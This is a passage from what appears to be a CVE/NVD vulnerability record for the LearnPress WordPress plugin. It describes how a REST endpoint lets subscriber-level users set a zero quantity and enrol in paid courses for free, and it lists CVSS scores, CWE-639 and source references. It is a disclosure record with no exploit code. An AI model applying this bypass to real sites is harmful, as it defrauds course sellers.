This is due to improper handling of user-supplied request parameters in the REST API endpoint, which passes the unsanitized parameter array to the add_to_cart() function where array_merge() allows attacker-controlled values to overwrite hardcoded defaults. This makes it possible for authenticated attackers, with subscriber-level access and above, to enroll in any paid course entirely free of charge by supplying a quantity value of zero, which causes the order total to calculate as $0 and bypasses all payment gateway requirements."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/learnpress/tags/4.3.3/inc/cart/class-lp-cart.php#L105", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/learnpress/tags/4.3.3/inc/cart/class-lp-cart.php#L180", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/learnpress/tags/4.3.3/inc/rest-api/v1/frontend/class-lp-rest-courses-controller.php#L474", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/learnpress/trunk/inc/cart/class-lp-cart.php#L105", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/learnpress/trunk/inc/cart/class-lp-cart.php#L180", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/learnpress/trunk/inc/rest-api/v1/frontend/class-lp-rest-courses-controller.php#L474", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3521636%40learnpress&new=3521636%40learnpress&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/564ec4a6-20d3-4b46-8637-fc1de586e19a?source=cve", "source": "[email protected]"}]}}
